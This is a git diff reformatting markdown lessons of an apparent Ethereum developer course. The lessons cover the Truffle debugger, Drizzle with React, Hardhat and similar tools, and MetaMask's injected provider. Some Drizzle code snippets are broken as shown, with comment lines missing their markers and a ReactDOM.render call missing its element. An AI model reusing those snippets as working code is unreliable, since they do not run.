Debugger + Debugging is an important part of any software development lifecycle and Truffle ships with a full CLI-based, interactive debugger to help you squash those pesky bugs. A debug instance is always instantiated off the back of a transaction (tx) hash (as we saw returned when we invoked storage.set(42) in the earlier example). For example: - { +```javascript +{ tx: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', receipt: { transactionHash: '0x46e4bb35108e5ecf7ff656008295fda572a753476d5e04c286fcdb7868447dd6', @@ -14,56 +15,63 @@ A debug instance is always instantiated off the back of a transaction (tx) hash from: '0x5ca1605d4671669b38f7e37c881ed996ede5ac68', to: '0x524b2860a2489e385c5e12537f58d5a09a9d33ab', ... - } +} +``` -# Running the Debugger -Assuming we have a valid transaction hash the debugger is simply invoked as follows. Note that you’ll need to paste in a hash of a transaction that exists on the chain you’re debugging against. +## Running the Debugger - truffle debug 0x4a1dcabb384e6ca1b5091495349603499fc2022e5832efdb53f872b6ff23a1c0 +Assuming we have a valid transaction hash the debugger is simply invoked as follows. Note that you’ll need to paste in a hash of a transaction that exists on the chain you’re debugging against. +```bash +truffle debug 0x4a1dcabb384e6ca1b5091495349603499fc2022e5832efdb53f872b6ff23a1c0 +``` Assuming all is good, you should now see the following output (note that the full list of commands has been truncated for brevity): - Starting Truffle Debugger... +```bash +Starting Truffle Debugger... - Addresses affected: - 0x6cA2F11a43b2B8f4DCE7De62f8Dc03f8E12BC48F - SimpleStorage +Addresses affected: +0x6cA2F11a43b2B8f4DCE7De62f8Dc03f8E12BC48F - SimpleStorage - Commands: - (enter) last command entered (step next) - (o) step over, (i) step into, (u) step out, (n) step next - (c) continue until breakpoint, (Y) reset & continue to previous error - (y) (if at end) reset & continue to final error - (;) step instruction (include number to step multiple) +Commands: +(enter) last command entered (step next) +(o) step over, (i) step into, (u) step out, (n) step next +(c) continue until breakpoint, (Y) reset & continue to previous error +(y) (if at end) reset & continue to final error +(;) step instruction (include number to step multiple) - SimpleStorage.sol: - - 2: pragma solidity >=0.4.21 <0.7.0; - 3: - 4: contract SimpleStorage { - ^^^^^^^^^^^^^^^^^^^^^^^^ +SimpleStorage.sol: +2: pragma solidity >=0.4.21 <0.7.0; +3: +4: contract SimpleStorage { +^^^^^^^^^^^^^^^^^^^^^^^^ +``` You can now start stepping through your code in a manner similar to that of any traditional debugger. As stated in the Truffle docs though it’s worth noting that “you're not running the code in real-time; instead, you're stepping over the historical execution of that transaction, and mapping that execution onto its associated code”. In the above example, stepping over a couple of times brings us into our SimpleStorage.sol contract wherein we can see our storedData state variable being assigned its new value. - SimpleStorage.sol: +```bash +SimpleStorage.sol: + +7: event setEvent(uint newValue); +8: +9: function set(uint x) public { + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - 7: event setEvent(uint newValue); - 8: - 9: function set(uint x) public { - ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +debug(develop:0x8bd62b08...)> o - debug(develop:0x8bd62b08...)> o +SimpleStorage.sol: - SimpleStorage.sol: +8: +9: function set(uint x) public { +10: storedData = x; +``` - 8: - 9: function set(uint x) public { - 10: storedData = x; +## In-test Debugging -# In-test Debugging -Lastly, a feature available as of Truffle v5.1 is that of in-test debugging. This essentially enables you to interrupt your tests by simply wrapping a given line with await debug(). +Lastly, a feature available as of Truffle v5.1 is that of in-test debugging. This essentially enables you to interrupt your tests by simply wrapping a given line with await debug(). -More detail on in-test debugging with a simple example [here](https://trufflesuite.com/docs/truffle/getting-started/using-the-truffle-debugger/#in-test-debugging). +More detail on in-test debugging with a simple example [here](https://trufflesuite.com/docs/truffle/getting-started/using-the-truffle-debugger/#in-test-debugging){target=\_blank}. diff --git a/docs/S04-developer-tooling/M4-truffle-deep-dive/L3-drizzle-ui/index.md b/docs/S04-developer-tooling/M4-truffle-deep-dive/L3-drizzle-ui/index.md index c233d277..20a79187 100644 --- a/docs/S04-developer-tooling/M4-truffle-deep-dive/L3-drizzle-ui/index.md +++ b/docs/S04-developer-tooling/M4-truffle-deep-dive/L3-drizzle-ui/index.md @@ -1,12 +1,13 @@ # Wire up the React app with Drizzle -*Note that Drizzle is currently not actively maintained by Truffle, although the team is always happy to provide best-endeavors support. In addition, ConsenSys is actively hiring for front-end focused roles and/or folks interested in assisting with maintenance. Feel free to reach out if this might of interest! -Before we go further, let's start our React app by running the follow command inside our client directory: - - npm install @drizzle/store +Note that Drizzle is currently not actively maintained by Truffle, although the team is always happy to provide best-endeavors support. In addition, ConsenSys is actively hiring for front-end focused roles and/or folks interested in assisting with maintenance. Feel free to reach out if this might of interest! - npm start +Before we go further, let's start our React app by running the follow command inside our client directory: +```bash +npm install @drizzle/store +npm start +``` This will serve the front-end under `localhost:3000` so open that up in your browser. @@ -15,26 +16,27 @@ Note: Make sure to use an incognito window if you already have MetaMask installe If the default Create-React-App page loaded without any issues, you may proceed. ## Setup the store + The first thing we need to do is to setup and instantiate the Drizzle store. We are going add the following code to client/src/index.js: - import drizzle functions and contract artifact - import { Drizzle } from "@drizzle/store"; - import MyStringStore from "./contracts/MyStringStore.json"; - - let drizzle know what contracts we want and how to access our test blockchain - const options = { - contracts: [MyStringStore], - web3: { - fallback: { - type: "ws", - url: "ws://127.0.0.1:9545", - }, +```javascript +import drizzle functions and contract artifact +import { Drizzle } from "@drizzle/store"; +import MyStringStore from "./contracts/MyStringStore.json"; + +let drizzle know what contracts we want and how to access our test blockchain +const options = { +contracts: [MyStringStore], +web3: { + fallback: { + type: "ws", + url: "ws://127.0.0.1:9545", }, - }; - setup drizzle - const drizzle = new Drizzle(options); - - +}, +}; +setup drizzle +const drizzle = new Drizzle(options); +``` First, we imported the tools from Drizzle as well as the contract definition. @@ -44,78 +46,115 @@ And finally, we created the drizzleStore and used that to create our drizzle ins Once that is complete, your index.js should look something like this: - import React from 'react'; - import ReactDOM from 'react-dom'; - import './index.css'; - import App from './App'; - import * as serviceWorker from './serviceWorker'; - - import drizzle functions and contract artifact - import { Drizzle, generateStore } from "@drizzle/store"; - import MyStringStore from "./contracts/MyStringStore.json"; - - let drizzle know what contracts we want and how to access our test blockchain - const options = { - contracts: [MyStringStore], - web3: { - fallback: { - type: "ws", - url: "ws://127.0.0.1:9545", - }, +```javascript +import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; +import * as serviceWorker from './serviceWorker'; + +import drizzle functions and contract artifact +import { Drizzle, generateStore } from "@drizzle/store"; +import MyStringStore from "./contracts/MyStringStore.json"; + +let drizzle know what contracts we want and how to access our test blockchain +const options = { +contracts: [MyStringStore], +web3: { + fallback: { + type: "ws", + url: "ws://127.0.0.1:9545", }, - }; - setup the drizzle store and drizzle - const drizzle = new Drizzle(options); - ReactDOM.render(, document.getElementById('root')); - - - +}, +}; +setup the drizzle store and drizzle +const drizzle = new Drizzle(options); +ReactDOM.render(, document.getElementById('root')); +``` Note again that the drizzle instance is passed into the App component as props. -# Drizzle Components +## Drizzle Components + Drizzle maintains a library of React components for commonly used dapp functions. For example, generating input forms for contracts. Components -## LoadingContainer +### LoadingContainer This components wraps your entire app (but within the DrizzleProvider) and will show a loading screen until Drizzle, and therefore web3 and your contracts, are initialized. - loadingComp (component) -The component displayed while Drizzle intializes. +```text +loadingComp (component) +``` + +The component displayed while Drizzle initializes. + +```text +errorComp (component) +``` - errorComp (component) The component displayed if Drizzle initialization fails. -## ContractData - contract(string, required) +### ContractData + +```text +contract(string, required) +``` + Name of the contract to call. - method (string, required +```text +method (string, required +``` + Method of the contract to call. - methodArgs (array) +```text +methodArgs (array) +``` + Arguments for the contract method call. EX: The address for an ERC20 balanceOf() function. The last argument can optionally be an options object with the typical from, gas and gasPrice keys. - hideIndicator(boolean) +```text +hideIndicator(boolean) +``` + If true, hides the loading indicator during contract state updates. Useful for things like ERC20 token symbols which do not change. - toUtf8 (boolean) +```text +toUtf8 (boolean) +``` + Converts the return value to a UTF-8 string before display. - toAscii (boolean) +```text +toAscii (boolean) +``` + Converts the return value to an Ascii string before display. -## ContractForm +### ContractForm + +```text +contract (string, required) +``` - contract (string, required Name of the contract whose method will be the basis the form. - method (string, required) +```text +method (string, required) +``` + Method whose inputs will be used to create corresponding form fields. - sendArgs (object) +```text +sendArgs (object) +``` + An object specifying options for the transaction to be sent; namely: from, gasPrice, gas and value. Further explanation of these parameters can be found here in the web3 documentation. - labels (array) -Custom labels; will follow ABI input ordering. Useful for friendlier names. For example "_to" becoming "Recipient Address". +```text +labels (array) +``` + +Custom labels; will follow ABI input ordering. Useful for friendlier names. For example "\_to" becoming "Recipient Address". diff --git a/docs/S04-developer-tooling/M5-other-dev-tools/index.md b/docs/S04-developer-tooling/M5-other-dev-tools/index.md index f6759f98..6ec837cd 100644 --- a/docs/S04-developer-tooling/M5-other-dev-tools/index.md +++ b/docs/S04-developer-tooling/M5-other-dev-tools/index.md @@ -1,28 +1,29 @@ # Other Development Tools - -Before we dive into these other development frameworks, we wanted to provide an "offramp" to folks who may not be comfortable with JavaScript Frameworks. We'd encourage you to check out the sections on Node and JavaScript Frameworks in the Basic Training course. People uncomfortable with terminal-based development might be interested in JSUI, a GUI-based JavaScript framework development environment. You can also checkout some frontend boilerplate projects here. + +_Before we dive into these other development frameworks, we wanted to provide an "offramp" to folks who may not be comfortable with JavaScript Frameworks. We'd encourage you to check out the sections on Node and JavaScript Frameworks in the Basic Training course. People uncomfortable with terminal-based development might be interested in [JSUI](https://github.com/kitze/JSUI){target=\_blank}, a GUI-based JavaScript framework development environment. You can also checkout some frontend boilerplate projects [here](https://www.smashingmagazine.com/2021/06/useful-frontend-boilerplates-starter-kits/){target=\_blank}._ ## Hardhat -Another popular development framework is Hardhat, which actually started as a fork of Truffle. It has since grown to create its own suite of tools and a devoted community. +Another popular development framework is [Hardhat](https://hardhat.org/){target=\_blank}, which actually started as a fork of Truffle. It has since grown to create its own suite of tools and a devoted community. -Hardhat divides itself into "tasks" and "plugins". Running `npx hardhat compile` is a task, for example. Plugins are extended functionality ported into Hardhat. Gas Reporter and -Contract Sizer are two popular plugins for Hardhat. +Hardhat divides itself into "tasks" and "plugins". Running `npx hardhat compile` is a task, for example. [Plugins](https://hardhat.org/plugins/){target=\_blank} are extended functionality ported into Hardhat. [Gas Reporter](https://www.npmjs.com/package/hardhat-gas-reporter){target=\_blank} and +[Contract Sizer](https://www.npmjs.com/package/hardhat-contract-sizer){target=\_blank} are two popular plugins for Hardhat. -Why choose Hardhat? Some feel as though the command-line experience of Hardhat is faster than Truffle. Others like the extensive plugin features. One feature popular with Hardhat developers is their use of console.log() in smart contracts. When developing locally with Hardhat, you can import the `console.sol` contract, like so: +Why choose Hardhat? Some feel as though the command-line experience of Hardhat is faster than Truffle. Others like the extensive plugin features. One feature popular with Hardhat developers is their use of `console.log()` in smart contracts. When developing locally with Hardhat, you can import the `console.sol` contract, like so: -
+```solidity
 pragma solidity ^0.6.0;
 
 import "hardhat/console.sol";
 
 contract Token {
   //...
-}
+} +``` You can then add it to your contract when developing it locally: -
+```solidity
 function transfer(address to, uint256 amount) external {
     console.log("Sender balance is %s tokens", balances[msg.sender]);
     console.log("Trying to send %s tokens to %s", amount, to);
@@ -31,12 +32,13 @@ function transfer(address to, uint256 amount) external {
 
     balances[msg.sender] -= amount;
     balances[to] += amount;
-}
+} +``` Which gives you this output when running locally on the Hardhat Network: -
-$ npx hardhat test
+```bash
+npx hardhat test
 
   Token contract
     Deployment
@@ -56,74 +58,74 @@ Trying to send 100 tokens to 0xe5904695748fe4a84b40b3fc79de2277660bd1d3
       ✓ Should update balances after transfers (187ms)
 
 
-  5 passing (2s)
+ 5 passing (2s) +``` -You can learn more about this feature in their documentation here. +You can learn more about this feature in their documentation [here](https://hardhat.org/hardhat-network/#console.log){target=\_blank}. Here are some easy ways to get started using Hardhat to see how you like it: -- Hardhat's Beginner Tutorial and Project Setup -- Hardhat Development Network -- Index of Reusable Plugins -The Hardhat teams recommends "paying attention to see whether any plugins already solve problems [you] may have." +- [Hardhat's Beginner Tutorial and Project Setup](https://hardhat.org/tutorial/){target=\_blank} +- [Hardhat Development Network](https://hardhat.org/hardhat-network/){target=\_blank} +- [Index of Reusable Plugins](https://hardhat.org/plugins/){target=\_blank} + +The Hardhat teams recommends "paying attention to see whether any plugins already solve problems you may have." ## Scaffold-ETH -Scaffold-ETH (docs) is a project from prolific builder Austin Griffith meant to minimize the time between thinking of a decentralized app idea and deploying it to the world. +[Scaffold-ETH](https://github.com/austintgriffith/scaffold-eth){target=\_blank} ([docs](https://docs.scaffoldeth.io/scaffold-eth/){target=\_blank}) is a project from prolific builder Austin Griffith meant to minimize the time between thinking of a decentralized app idea and deploying it to the world. -However, Scaffold-ETH requires an advanced comfortability with tools like Yarn, Solidity, Hardhat, React, etc. It's best for folks who already have a very solid Web 2 or Web 3 workflow. For those folks, Scaffold-ETH is jet fuel! Please note, however, that projects and tutorials in Scaffold-ETH have not been audited in any way and may contain bugs or vulnerabilities! +However, Scaffold-ETH requires an advanced comfortably with tools like Yarn, Solidity, Hardhat, React, etc. It's best for folks who already have a very solid Web 2 or Web 3 workflow. For those folks, Scaffold-ETH is jet fuel! **Please note, however, that projects and tutorials in Scaffold-ETH have not been audited in any way and may contain bugs or vulnerabilities!** -In the repo, Austin has provided a number of forks that correspond to different template projects or tutorials. Read more about the tutorials and examples here. +In the repo, Austin has provided a number of forks that correspond to different template projects or tutorials. Read more about the tutorials and examples [here](https://docs.scaffoldeth.io/scaffold-eth/examples-branches/overview){target=\_blank}. -As we mentioned, Scaffold-ETH by default serves up a React App, with pre-built components, and hooks. It's also incorporated a third-party UI library called Ant Design to help with the designing of components. It also incorporates Surge, a static-site generator to publish your app. +As we mentioned, Scaffold-ETH by default serves up a [React App](https://docs.scaffoldeth.io/scaffold-eth/toolkit/the-scaffold-eth-stack/react){target=\_blank}, with pre-built components, and hooks. It's also incorporated a third-party UI library called [Ant Design](https://ant.design/components/overview/){target=\_blank} to help with the designing of components. It also incorporates [Surge](https://surge.sh/){target=\_blank}, a static-site generator to publish your app. -Scaffold-ETH also has significant infrastructure support for the later parts of the development cycle, such as The Graph, Tenderly, Etherscan, and L2/Sidechain Services (deploying to Optimism and Arbitrum). +Scaffold-ETH also has significant [infrastructure support](https://docs.scaffoldeth.io/scaffold-eth/toolkit/infrastructure){target=\_blank} for the later parts of the development cycle, such as The Graph, Tenderly, Etherscan, and L2/Sidechain Services (deploying to Optimism and Arbitrum). -Also, there are examples from some great projects in the space, like Aave, The Graph, Chainlink, Optimism and Uniswap. You can also learn about common design patterns such as commit-reveal, ecrecover, multisigs, DEXes, and more! +Also, there are [examples](https://docs.scaffoldeth.io/scaffold-eth/examples-and-tutorials/overview){target=\_blank} from some great projects in the space, like Aave, The Graph, Chainlink, Optimism and Uniswap. You can also [learn](https://github.com/austintgriffith/scaffold-eth#-buidl){target=\_blank} about common design patterns such as commit-reveal, ecrecover, multisigs, DEXes, and more! -Last, Austin is an incredibly proflific creator of content, including support videos and walkthroughs of Scaffold-ETH. Below are some recent walkthroughs he's done: +Last, Austin is an incredibly prolific creator of content, including support videos and walkthroughs of Scaffold-ETH. Below are some recent walkthroughs he's done: -- Tutorial: Austin walks through Scaffold-Eth during Polygon Hackathon -- Start Building Today with Scaffold-ETH -- Ethereum Dev Onboarding (ETHGlobal) Austin walksthrough Scaffold-ETH after RicMoo and Paul Berg walkthrough their awesome tools -- Web 2 dev to Web 3 dev -- Blockchain at Berkeley: Austin Griffith Developer Walkthrough +- [Tutorial: Austin walks through Scaffold-Eth during Polygon Hackathon](https://www.youtube.com/watch?v=zxL9cPysEmQ){target=\_blank} +- [Start Building Today with Scaffold-ETH](https://youtu.be/ShJZf5lsXiM){target=\_blank} +- [Ethereum Dev Onboarding (ETHGlobal)](https://youtu.be/ipFJeK0M5ks?t=89){target=\_blank} Austin walksthrough Scaffold-ETH after RicMoo and Paul Berg walkthrough their awesome tools +- [Web 2 dev to Web 3 dev](https://youtu.be/mctO5EUx_wI){target=\_blank} +- [Blockchain at Berkeley: Austin Griffith Developer Walkthrough](https://www.youtube.com/watch?v=TGlklzDmTyc){target=\_blank} -If you follow Austin on twitter or join the Scaffold-ETH Telegram, you'll get updates and assistance there as well. +If you [follow Austin on twitter](https://twitter.com/austingriffith){target=\_blank} or join [the Scaffold-ETH Telegram](https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA){target=\_blank}, you'll get updates and assistance there as well. ## Brownie -As we mentioned earlier, [Brownie](https://github.com/eth-brownie/brownie){target=_blank} is a Python-based development and testing framework for smart contracts running on the EVM. It uses [Web3.py](https://web3py.readthedocs.io/en/stable/){target=_blank} as well as Solidity. It is most well-known for being the development framework the [Yearn.Finance](https://yearn.finance){target=_blank} team uses to build their powerful DeFi platform and [CRV.](https://help.coinbase.com/en/coinbase/getting-started/crypto-education/curve-dao-token--crv-){target=_blank} +As we mentioned earlier, [Brownie](https://github.com/eth-brownie/brownie){target=\_blank} is a Python-based development and testing framework for smart contracts running on the EVM. It uses [Web3.py](https://web3py.readthedocs.io/en/stable/){target=\_blank} as well as Solidity. It is most well-known for being the development framework the [Yearn.Finance](https://yearn.finance){target=\_blank} team uses to build their powerful DeFi platform and [CRV](https://help.coinbase.com/en/coinbase/getting-started/crypto-education/curve-dao-token--crv-){target=\_blank}. -Brownie definitely takes some notes from Truffle (they are both "sweet"){target=_blank}, including having a `brownie init` command and their equivalent of Truffle boxes, ["Brownie Mixes."](https://github.com/brownie-mix){target=_blank} This makes it an easy tool for a lot of Truffle developers familiar with Truffle. +Brownie definitely takes some notes from Truffle (they are both "sweet"){target=\_blank}, including having a `brownie init` command and their equivalent of Truffle boxes, ["Brownie Mixes."](https://github.com/brownie-mix){target=\_blank} This makes it an easy tool for a lot of Truffle developers familiar with Truffle. Here are some tutorials to introduce you to Brownie: -* [Tutorial: Develop a DeFi Project using Python (Chainlink){target=_blank}](https://blog.chain.link/develop-python-defi-project/){target=_blank} -* [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. +- [Tutorial: Develop a DeFi Project using Python (Chainlink)](https://blog.chain.link/develop-python-defi-project/){target=\_blank} +- [Tutorial: Vyper and Brownie Contract Development on EVM Chains](https://medium.com/ethereum-classic/vyper-and-brownie-contract-development-on-evm-chains-85ba7fa2feef){target=\_blank} An interesting tutorial walking through developing a contract using Vyper and Brownie. ## Tenderly -Tenderly provides a way to both be alerted to contract events as well as troubleshoot a contract, including a "Forking Mainnet" feature similar to that of Truffle and Hardhat. +[Tenderly](https://tenderly.co/pricing){target=\_blank} provides a way to both be alerted to contract events as well as troubleshoot a contract, including a "Forking Mainnet" feature similar to that of Truffle and Hardhat. ## Frontend Tools For your project, we've also discussed frontend interfaces. There are two services you can use for free to create a frontend instance easily: -- Heroku is a Platform-as-a-Service, providing a quick way to deploy apps in a number of popular languages, such as Node.js (JavaScript), Python, Ruby and Go. You can connect your GitHub repo to your project for easy deployment. Heroku's basic plan is free and provides basic resources for getting started. Read more here. -- Netlify also has a Git-based workflow allowing you to deploy your project easily from GitHub. It is also free and has a getting started manual here. + +- [Heroku](https://devcenter.heroku.com/start){target=\_blank} is a Platform-as-a-Service, providing a quick way to deploy apps in a number of popular languages, such as Node.js (JavaScript), Python, Ruby and Go. You can connect your GitHub repo to your project for easy deployment. Heroku's basic plan is free and provides basic resources for getting started. [Read more here](https://www.heroku.com/free){target=\_blank}. +- [Netlify](https://www.netlify.com/){target=\_blank} also has a Git-based workflow allowing you to deploy your project easily from GitHub. It is also free and has a getting started manual [here](https://docs.netlify.com/configure-builds/get-started/){target=\_blank}. There are so many more amazing tools that we can't get into now, but if you check out the links in this section, you'll be able to dive deeper and learn more on your own! ## Additional Material -- Article: The Complete Guide to Full Stack Ethereum Development An incredibly comprehensive article from Nader Dabit of The Graph. -- Article: Ethereum Dev Speed Run (Austin Griffith) Quick start for developers starting on Ethereum. -- Ethereum Dev Onboarding (ETHGlobal) Walkthrough of the developer stack from RicMoo, Paul Berg (`create-eth-app`) and Austin Griffith. Great walkthrough of dev environments! -- Wiki: DeFi Developer Roadmap: Other Frameworks A series of other frameworks within a larger, excellent repo about Development tools and tips -- Article: Build a Web3 Dapp in React Login with MetaMask -- Tutorial: React Project Setup Using Hardhat & Truffle Part 1 and Part 2 From Bootcamp alum and fellow Shih-Yu Hwang -- Google Doc: Overview of Tools From Vu, a bootcamp alum, these are the notes he made after going through the developer section as a helpful mindmap for others! -- Other tools: Ankr, Quiknode, Alchemy - - - \ No newline at end of file +- [Article: The Complete Guide to Full Stack Ethereum Development](https://dev.to/dabit3/the-complete-guide-to-full-stack-ethereum-development-3j13){target=\_blank} An incredibly comprehensive article from Nader Dabit of The Graph. +- [Article: Ethereum Dev Speed Run (Austin Griffith)](https://medium.com/@austin_48503/%EF%B8%8Fethereum-dev-speed-run-bd72bcba6a4c?_branch_match_id=947827671682448762){target=\_blank} Quick start for developers starting on Ethereum. +- [Ethereum Dev Onboarding (ETHGlobal)](https://youtu.be/ipFJeK0M5ks?t=89){target=\_blank} Walkthrough of the developer stack from RicMoo, Paul Berg (`create-eth-app`) and Austin Griffith. Great walkthrough of dev environments! +- [Wiki: DeFi Developer Roadmap: Other Frameworks](https://github.com/OffcierCia/DeFi-Developer-Road-Map#frameworks){target=\_blank} A series of other frameworks within a larger, excellent repo about Development tools and tips +- [Article: Build a Web3 Dapp in React Login with MetaMask](https://dev.to/jacobedawson/build-a-web3-dapp-in-react-login-with-metamask-4chp){target=\_blank} +- [Tutorial: React Project Setup Using Hardhat & Truffle Part 1](https://medium.com/@shihyuhwang/react-project-setup-using-hardhat-truffle-part-1-20a596865e){target=\_blank} and [Part 2](https://medium.com/@shihyuhwang/react-project-setup-using-hardhat-truffle-part-2-2872f20bf7ca){target=\_blank} From Bootcamp alum and fellow Shih-Yu Hwang +- [Google Doc: Overview of Tools](https://docs.google.com/presentation/d/1RKXn601FwD9ISPzf9YcGE2tp_B8bKXnInUqzkufJDwM/edit#slide=id.p1){target=\_blank} From Vu, a bootcamp alum, these are the notes he made after going through the developer section as a helpful mindmap for others! +- Other tools: [Ankr](https://www.ankr.com/){target=\_blank}, [Quiknode](https://www.quiknode.io/){target=\_blank}, [Alchemy](https://www.alchemyapi.io/){target=\_blank} diff --git a/docs/S04-developer-tooling/M6-exercise/index.md b/docs/S04-developer-tooling/M6-exercise/index.md index 25a9422c..a9738745 100644 --- a/docs/S04-developer-tooling/M6-exercise/index.md +++ b/docs/S04-developer-tooling/M6-exercise/index.md @@ -1,4 +1 @@ - Title -===== - - \ No newline at end of file +# Title diff --git a/docs/S04-developer-tooling/M7-web3-frontend/L1-ethereum-provider-api/index.md b/docs/S04-developer-tooling/M7-web3-frontend/L1-ethereum-provider-api/index.md index b3c06aa7..89ac8de6 100644 --- a/docs/S04-developer-tooling/M7-web3-frontend/L1-ethereum-provider-api/index.md +++ b/docs/S04-developer-tooling/M7-web3-frontend/L1-ethereum-provider-api/index.md @@ -12,11 +12,11 @@ In Web3, this is less common. While we can interact with third party services, m ## Where does this API come from? -On a browser where you have MetaMask installed, open up Chrome Devtools, navigate to **Sources**, and then look at the **Page** panel. If you expand MetaMask, there’s a resource that loads with the page, in the screenshot, it’s `inpage.js`. +On a browser where you have MetaMask installed, open up Chrome Devtools, navigate to **Sources**, and then look at the **Page** panel. If you expand MetaMask, there’s a resource that loads with the page, in the screenshot, it’s `inpage.js`. ![Chrome Devtools showing ](../../../img/S04/eth-provider-1.png) -`[inpage.js](https://github.com/MetaMask/metamask-extension/blob/43c33b676fe1ecece3e0543eb6ca64d3ae9aa9af/app/scripts/inpage.js){target=\_blank}` is a script that tries to declare an object globally in the browser window. If it’s successful, it’ll create a communication stream to 👀 initialize a provider 👀. Once that runs, `[contentscript.js](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js){target=\_blank}` is executed. And here’s where things get tricky but interesting. On [line 45](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L45){target=\_blank}, there’s an else-if statement that calls a function, seen on [line 272](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L272){target=\_blank}, to check if a provider should be 👀 injected 👀. +[inpage.js](https://github.com/MetaMask/metamask-extension/blob/43c33b676fe1ecece3e0543eb6ca64d3ae9aa9af/app/scripts/inpage.js){target=\_blank} is a script that tries to declare an object globally in the browser window. If it’s successful, it’ll create a communication stream to 👀 initialize a provider 👀. Once that runs, [contentscript.js](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js){target=\_blank} is executed. And here’s where things get tricky but interesting. On [line 45](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L45){target=\_blank}, there’s an else-if statement that calls a function, seen on [line 272](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L272){target=\_blank}, to check if a provider should be 👀 injected 👀. ```javascript /** @@ -34,15 +34,15 @@ function shouldInjectProvider() { } ``` -This function returns a boolean and checks for conditions like if the window even exists, so if the `doctype` is HTML (`doctypeCheck()`), and if it’s an HTML node (`documentElementCheck()`). It checks if the site URL ends in `.xml` or `.pdf` (``suffixCheck()`). It checks if the site you’re currently on is not on a list of blocked domains (`!blockedDomainCheck()`). (*Check out some of those [blocked domains](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L332){target=\_blank}. Are some of them familiar? Are you beginning to see a pattern here?*) If all conditions pass, then MetaMask knows it can act as a client to facilitate user Web 3 interactions. This is why you get a popup whenever you try to take any action. +This function returns a boolean and checks for conditions like if the window even exists, so if the `doctype` is HTML (`doctypeCheck()`), and if it’s an HTML node (`documentElementCheck()`). It checks if the site URL ends in `.xml` or `.pdf` (``suffixCheck()`). It checks if the site you’re currently on is not on a list of blocked domains (`!blockedDomainCheck()`). (_Check out some of those [blocked domains](https://github.com/MetaMask/metamask-extension/blob/42c8703f3e3e0fbfddcc9faa4ddb49045ce9631a/app/scripts/contentscript.js#L332){target=\_blank}. Are some of them familiar? Are you beginning to see a pattern here?_) If all conditions pass, then MetaMask knows it can act as a client to facilitate user Web 3 interactions. This is why you get a popup whenever you try to take any action. -The thing to take away here is that we as developers aren’t supplying that API endpoint, or the functionality to interact with it, and it’s for the safety of the user. We’re building around its expected existence, and that’s because MetaMask and other browser wallets, per [EIP-1193](https://eips.ethereum.org/EIPS/eip-1193){target=\_blank}, globally inject a standard provider interface as a bridge to the Ethereum blockchain into our browser. The browser wallets actually do the heavy lifting by providing the API endpoint. As developers, we just have to call it with `window.ethereum`. (*Provided, we’re not on that blocked domain list, cause we absolutely should not be.*) +The thing to take away here is that we as developers aren’t supplying that API endpoint, or the functionality to interact with it, and it’s for the safety of the user. We’re building around its expected existence, and that’s because MetaMask and other browser wallets, per [EIP-1193](https://eips.ethereum.org/EIPS/eip-1193){target=\_blank}, globally inject a standard provider interface as a bridge to the Ethereum blockchain into our browser. The browser wallets actually do the heavy lifting by providing the API endpoint. As developers, we just have to call it with `window.ethereum`. (_Provided, we’re not on that blocked domain list, cause we absolutely should not be._) When you switch to the Console tab, type in `window.ethereum` to see the Ethereum API methods and properties like `isMetaMask`, `chainId` or `request()`, to name a few. ![Ethereum Provider API methods and properties](../../../img/S04/eth-provider-2.png) -When we call these methods, we submit a “Remote Procedure Call” request to a particular blockchain network. We need to connect to the nodes on a particular network where the target smart contract is deployed, so we’ll need a network RPC endpoint. +When we call these methods, we submit a “Remote Procedure Call” request to a particular blockchain network. We need to connect to the nodes on a particular network where the target smart contract is deployed, so we’ll need a network RPC endpoint. For us, it’s an endpoint we can supply to MetaMask to request blockchain data. Does that sound a bit familiar? If you look at the RPC URL I have for Ethereum Mainnet, I’m connected to the Mainnet nodes that are hosted by Infura, who is the default node provider for MetaMask. @@ -59,9 +59,7 @@ You can see the whole list of methods [here](https://metamask.github.io/api-play In the next lesson we’ll start off by demystifying what it means to “Connect your Wallet”, and how you can achieve that with React and the Ethereum Provider API. - ## Additional Reading -[Ethereum Provider API](https://docs.metamask.io/guide/ethereum-provider.html){target=\_blank} - -[Github: MetaMask/Provider](https://github.com/MetaMask/providers){target=\_blank} \ No newline at end of file +- [Ethereum Provider API](https://docs.metamask.io/guide/ethereum-provider.html){target=\_blank} +- [Github: MetaMask/Provider](https://github.com/MetaMask/providers){target=\_blank} diff --git a/docs/S04-developer-tooling/M7-web3-frontend/L2-demystifying-connect-wallet/index.md b/docs/S04-developer-tooling/M7-web3-frontend/L2-demystifying-connect-wallet/index.md index bd9ed768..c712c466 100644 --- a/docs/S04-developer-tooling/M7-web3-frontend/L2-demystifying-connect-wallet/index.md +++ b/docs/S04-developer-tooling/M7-web3-frontend/L2-demystifying-connect-wallet/index.md @@ -4,7 +4,7 @@ We’re going to start out with one of the first things you’ll want to tackle when developing your frontend alpha: The user’s ability to connect their wallet. -This presents Web3 developers with a user experience (UX) quandary because [Jakob’s Law of the Internet User Experience](https://www.nngroup.com/videos/jakobs-law-internet-ux/){target=\_blank} dictates that people “prefer your site to work the same way as all the other sites they already know.” You’ll know you’re on a Web3-enabled frontend when you see a button in a site’s header prompting you to *connect*. This is the button you’ll be rendering in your dApp if `window.ethereum` was detected. This call to action might come as a shock to your users who are accustomed to input fields for their credentials to log in. +This presents Web3 developers with a user experience (UX) quandary because 